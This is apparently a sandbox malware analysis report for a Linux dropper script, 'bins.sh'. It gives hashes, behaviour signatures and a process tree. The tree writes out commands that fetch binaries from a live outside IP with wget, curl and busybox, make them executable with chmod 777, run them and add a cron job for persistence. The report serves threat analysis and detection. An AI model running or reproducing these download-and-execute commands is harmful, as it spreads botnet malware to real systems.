Analysis
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max time kernel
150s -
max time network
155s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240226-en -
resource tags
arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
04-11-2024 15:32
Static task
static1
Behavioral task
behavioral1
Sample
bins.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
bins.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
bins.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
bins.sh
Resource
debian9-mipsel-20240226-en
General
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Target
bins.sh
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Size
10KB
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MD5
0e17ad464af64a931d90034b6bf2533d
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SHA1
fa3ac94af8804b2721185d6d797d2684d71db640
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SHA256
e6617aa9d237a3501f1dddfee90b1885cb95d30f621921d876fbbe676752a435
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SHA512
73f7d54af5bc9bb3abb834cce95be1aa9fd44b03f577258be3abdcc942f67a96e217ed21732611f31361bf636448aa74ba30d92584cf6c96149b065c765dd749
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SSDEEP
192:T4g4EGKoOqSIZNW6CWQvPlBFdCSG4Em+qSIZNJCWQvPVBFdCSI:T4LKjqSIZNW6CWQvPEqSIZNJCWQvPs
Malware Config
Signatures
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Contacts a large (1516) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
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File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodpid Process 739 chmod 747 chmod 767 chmod 793 chmod -
Executes dropped EXE 4 IoCs
Processes:
sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaFy0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfyupZsoStPpJGJRuy8vG8zOcwIDag4hB5hIvioc pid Process /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr 741 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF 748 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy 768 y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv 796 upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv -
Renames itself 1 IoCs
Processes:
upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIvpid Process 797 upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv -
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
Processes:
crontabdescription ioc Process File opened for modification /var/spool/cron/crontabs/tmp.2BvULM crontab -
Enumerates running processes
Discovers information about currently running processes on the system
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Processes:
upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIvcurldescription ioc Process File opened for reading /proc/865/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/884/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/12/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/797/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/853/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/1007/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/23/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/881/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/903/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/22/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/999/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/1009/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/988/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/247/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/839/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/981/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/880/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/952/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/78/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/855/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/860/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/928/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/167/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/804/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/905/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/906/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/979/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/930/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/954/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/984/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/105/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/815/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/867/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/943/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/843/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/907/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/925/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/939/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/965/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/977/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/983/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/373/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/847/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/897/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/842/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/869/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/892/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/344/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/814/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/916/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/9/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/706/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/813/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/817/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/840/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/961/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/71/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/404/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/707/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/16/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/951/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/963/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv File opened for reading /proc/805/cmdline upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv -
Writes file to tmp directory 12 IoCs
Malware often drops required files in the /tmp directory.
Processes:
wgetcurlbusyboxwgetcurlbusyboxwgetbusyboxcurlwgetcurlbusyboxdescription ioc Process File opened for modification /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv wget File opened for modification /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv curl File opened for modification /tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv busybox File opened for modification /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr wget File opened for modification /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr curl File opened for modification /tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr busybox File opened for modification /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF wget File opened for modification /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF busybox File opened for modification /tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF curl File opened for modification /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy wget File opened for modification /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy curl File opened for modification /tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy busybox
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵PID:707
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/bin/rm/bin/rm bins.sh2⤵PID:715
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/usr/bin/wgetwget http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Writes file to tmp directory
PID:717
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/usr/bin/curlcurl -O http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Writes file to tmp directory
PID:730
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Writes file to tmp directory
PID:738
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/bin/chmodchmod 777 sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- File and Directory Permissions Modification
PID:739
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/tmp/sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr./sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵
- Executes dropped EXE
PID:741
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/bin/rmrm sHBnnGbWSE4VpL5lkieIJSRTX17DmNrXrr2⤵PID:743
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/usr/bin/wgetwget http://216.126.231.240/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF2⤵
- Writes file to tmp directory
PID:744
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/usr/bin/curlcurl -O http://216.126.231.240/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF2⤵
- Writes file to tmp directory
PID:745
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF2⤵
- Writes file to tmp directory
PID:746
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/bin/chmodchmod 777 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF2⤵
- File and Directory Permissions Modification
PID:747
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/tmp/0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF./0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF2⤵
- Executes dropped EXE
PID:748
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/bin/rmrm 0QiLtaxVhqjie2MrPePSMV1u8SNeuHNLaF2⤵PID:750
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/usr/bin/wgetwget http://216.126.231.240/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy2⤵
- Writes file to tmp directory
PID:751
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/usr/bin/curlcurl -O http://216.126.231.240/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:752
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy2⤵
- Writes file to tmp directory
PID:763
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/bin/chmodchmod 777 y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy2⤵
- File and Directory Permissions Modification
PID:767
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/tmp/y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy./y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy2⤵
- Executes dropped EXE
PID:768
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/bin/rmrm y0iZGLyQoelM8NhVr0PiXYFm7kSnv2tvfy2⤵PID:771
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/usr/bin/wgetwget http://216.126.231.240/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv2⤵
- Writes file to tmp directory
PID:772
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/usr/bin/curlcurl -O http://216.126.231.240/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv2⤵
- Writes file to tmp directory
PID:779
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv2⤵
- Writes file to tmp directory
PID:790
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/bin/chmodchmod 777 upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv2⤵
- File and Directory Permissions Modification
PID:793
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/tmp/upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv./upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv2⤵
- Executes dropped EXE
- Renames itself
- Reads runtime system information
PID:796 -
/bin/shsh -c "crontab -l"3⤵PID:798
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/usr/bin/crontabcrontab -l4⤵PID:800
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/bin/shsh -c "crontab -"3⤵PID:801
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
PID:802
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/bin/rmrm upZsoStPpJGJRuy8vG8zOcwIDag4hB5hIv2⤵PID:805
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/usr/bin/wgetwget http://216.126.231.240/bins/u9P7y70JnaiOAmPwjcGdOPUDJpXh3HvJ3F2⤵PID:890
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
112KB
MD505d7857dcead18bbd86d2935f591873c
SHA134d18f41ef35f93d5364ce3e24d74730a4e91985
SHA2562cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
SHA512d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e
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Filesize
151KB
MD56c583043d91c55aa470c08c87058e917
SHA1abf65a5b9bba69980278ad09356e53de8bb89439
SHA2562d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
SHA51282ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
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Filesize
119KB
MD51b166b95f9cb4b079ef1b9ec8363ddf3
SHA10d8eb08add467b3b5474f9b25909297fe7c2839c
SHA25694a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
SHA512983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925
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Filesize
210B
MD51cbf27b92da8eba4829e19903e4d7b36
SHA1ef40bbfe54c976346ce4ab4ab1cae878e533f3ee
SHA256cfef482fb27ef30e99ea1d1695da76af631fb72c6e7ea381f9c4fcced04e5e08
SHA512404aa0dfcd5aa7eeb3c3e85437882d9dfe0ee8d764d685401dd68cd213f438173ac448360dfda4590d7b649c9a49d9e33863d10d167c3a2f245438c071b44c82